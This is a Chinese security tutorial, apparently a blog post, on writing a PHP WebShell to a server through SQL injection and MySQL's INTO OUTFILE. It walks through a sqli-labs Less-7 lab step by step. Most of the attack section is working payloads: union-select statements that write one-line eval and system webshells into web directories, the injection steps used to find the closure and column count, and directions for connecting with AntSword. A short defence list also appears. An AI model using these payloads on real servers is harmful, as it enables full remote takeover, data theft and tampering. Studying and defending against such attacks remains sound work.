利用SQL文件上传注入植入WebShell

文章目录

从SQL文件上传到WebShell植入

当网站后台有 "数据导入 ","执行SQL语句" 等功能,并且允许上传SQL文件

如果这个上传和执行SQL的功能存在漏洞,会发生什么可怕的事情?

本文将揭示一种高级的攻击手法:攻击者上传一个伪装成SQL文件的 特洛伊木马,利用目标系统的SQL注入漏洞,在服务器上直接写入一个WebShell后门

这种攻击可以直接导致服务器被完全控制,数据泄露、篡改、沦为肉鸡等严重后果


核心概念回顾

  • 文件上传漏洞
    • 未对用户上传的文件进行严格校验(类型、内容、大小、路径、权限等),导致恶意文件被上传到服务器
    • 常见风险:上传WebShell、病毒、木马、进行钓鱼攻击等
  • SQL注入漏洞
    • 攻击者将恶意的SQL代码插入到应用程序的数据库查询中,欺骗数据库执行非预期的命令
    • 常见危害:窃取数据、篡改数据、删除数据、执行系统命令(在特定条件下)
  • WebShell
    • 一个运行在Web服务器上的恶意脚本文件(通常用PHP、ASP、JSP等编写),为攻击者提供远程控制服务器的图形化或命令行界面
    • 功能:文件管理、命令执行、数据库操作、内网渗透等

详细介绍请见深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell


核心原理

通过SQL注入漏洞,利用数据库的文件写入功能(如MySQL的 select ... into outfile),将WebShell代码写入服务器Web目录,从而获得服务器控制权

漏洞前提

  • 存在SQL注入漏洞(如未过滤的用户输入)
  • 数据库用户具备文件写入权限(如MySQL的file权限)
  • 已知Web目录的绝对路径(如 /var/www/html
  • 可执行扩展名的写入权限(如 .php .jsp等)

INTO OUTFILE 详解

into outfile 是 MySQL 中用于将查询结果导出到服务器文件的 SQL 语句,它是数据导出和备份的重要工具,但在安全配置不当的情况下可能成为严重的安全漏洞

基本语法

sql 复制代码
SELECT column1, column2, ...
INTO OUTFILE 'file_path'

核心参数说明:

  • file_path
    • 服务器上的绝对路径(如 /var/lib/mysql-files/export.csv
    • 必须包含文件名和扩展名
    • MySQL 用户必须具有 FILE 权限

文件创建规则:

  • 文件必须在服务器本地创建(不能在远程客户端)
  • 不能覆盖现有文件(若文件已存在则报错)
  • 文件由 MySQL 服务用户创建(通常是 mysql
  • 文件权限默认为 -rw-rw----(660)

典型攻击语句:

sql 复制代码
UNION SELECT "<?php system($_GET['cmd']);?>" 
INTO OUTFILE '/var/www/html/shell.php'

这条命令的意思是将一句话木马 导出到 /var/www/html/ 路径下的 shell.php 文件中


攻击链深度剖析(核心内容)

  • 步骤一:寻找攻击入口
    • 目标:找到允许上传文件(特别是SQL文件)并执行/解析/导入该文件内容的功能点
    • 常见位置:后台数据库管理模块、数据导入/导出功能、SQL查询执行页面(允许上传SQL文件执行)、系统维护功能(如"执行SQL脚本")
    • 关键 :该功能在"执行"上传的SQL文件内容时,存在SQL注入漏洞 (核心前提)
  • 步骤二:构造恶意SQL文件
    • 伪装 : 文件扩展名必须是 .sql,以绕过基于扩展名的简单过滤
    • 恶意载荷: SQL文件内容包含精心构造的SQL注入语句
    • 核心恶意语句: 利用目标数据库的特性,将WebShell代码写入服务器Web目录的可访问文件中

MySQL

sql 复制代码
SELECT '' INTO OUTFILE '/var/www/html/uploads/shell.php';
--+ 或
SELECT '' INTO DUMPFILE '/var/www/html/uploads/shell.php';

/var/www/html/uploads/shell.php 是Web服务器可访问的绝对路径(攻击者需要探测或猜测)

`` 是PHP WebShell代码(如经典的一句话木马: <?php @eval($_POST['cmd']);?>注意:需要将PHP代码中的单引号进行SQL转义(通常用'或0x27)!

  • 步骤三:上传与触发
    • 将构造好的恶意 .sql 文件通过目标系统的上传接口上传
    • 触发系统对上传的SQL文件进行"执行"、"导入"或"解析"操作。这个过程会自动执行文件中的SQL语句
  • 步骤四:执行恶意SQL & 植入WebShell
    • 目标系统(通常是数据库连接组件)读取上传的SQL文件内容并发送到数据库执行
    • 由于存在SQL注入漏洞(或者功能本身设计就是执行任意SQL),数据库会忠实地执行 select ... into outfile ... (或等效) 语句
    • 结果: WebShell代码被成功写入服务器Web目录下的指定文件(如 shell.php
  • 步骤五:访问WebShell & 控制服务器
    • 攻击者通过浏览器访问 http://target-site.com/uploads/shell.php
    • 通过WebShell提供的接口(如使用中国菜刀/蚁剑/Cobalt Strike等工具连接),攻击者获得服务器的命令执行权限,完全控制服务器

WebShell写入原理

SQL注入漏洞 FILE权限 secure_file_priv允许 已知Web路径 可写目录 成功写入WebShell


防御措施

尽管此攻击方法如此厉害,但还是有很多十分致命的缺点

  • 代码层:
    • 使用参数化查询(Prepared Statements)
    • 严格过滤用户输入(白名单机制)
    • 禁用危险函数(如 eval() , system()
  • 数据库层:
    • 最小权限原则:禁止FILE权限
    • 设置 secure_file_priv = NULL
  • 系统层:
    • Web目录不可执行:chmod -R 755 /var/www/html
    • 定期更新补丁与安全审计
  • WAF防护:
    • 过滤 union select , into outfile等关键词
    • 监控异常文件写入行为

演示

又到了必备的演示时间了,此次演示使用的是 sqli-labs 7

php 复制代码
http://192.168.1.9/sql/Less-7/

添加注入点

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1

题目上也告诉我们了,使用 outfile

判断闭合方式

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1" --+

这个题的闭合方式有些特殊,这里可以看到用 " 也可以闭合,但进一步求证就会看出问题

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1" and 1=2--+

继续尝试,发现 ')) 也可以闭合

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1')) and 1=1 --+

验证一下发现报错,这即为正确答案

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1')) and 1=2 --+

查看源代码我们可以发现,因为 "'' 给闭合了,所以才不报错,但命令也不会执行

判断列数

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=1')) group by 1,2,3 --+

联合注入

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,3--+

撰写攻击语句

php 复制代码
http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,"<?php @eval($_POST['hhh']);?>" into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\127.0.0.1\\sql\\Less-7\\hhh.sql"--+

使用 Burp 拦截上传 .sql 文件的请求,在Burp中修改上传内容

在网站根目录即可发现上传的文件

使用蚁剑 链接,添加即可

相关推荐
极限实验室4 小时前
IK 字段级别词典的升级之路
数据库
曾几何时`4 小时前
MySQL(配置)——MariaDB使用
数据库·mysql
努力学习java的哈吉米大王4 小时前
MySQL——MVCC
数据库·mysql
数据要素X5 小时前
【数据架构10】数字政府架构篇
大数据·运维·数据库·人工智能·架构
lixzest5 小时前
Redis实现数据传输简介
数据库·redis·缓存
搬砖的小熊猫5 小时前
MySQL常见面试题
数据库·mysql
weixin_419658315 小时前
MySQL的JDBC编程
数据库·mysql
JavaLearnerZGQ6 小时前
Docker部署Nacos
数据库·docker·容器
何传令6 小时前
SQL排查、分析海量数据以及锁机制
数据库·sql·mysql
msg_data7 小时前
windows环境下MySQL 8.0 修改或重置密码
数据库·mysql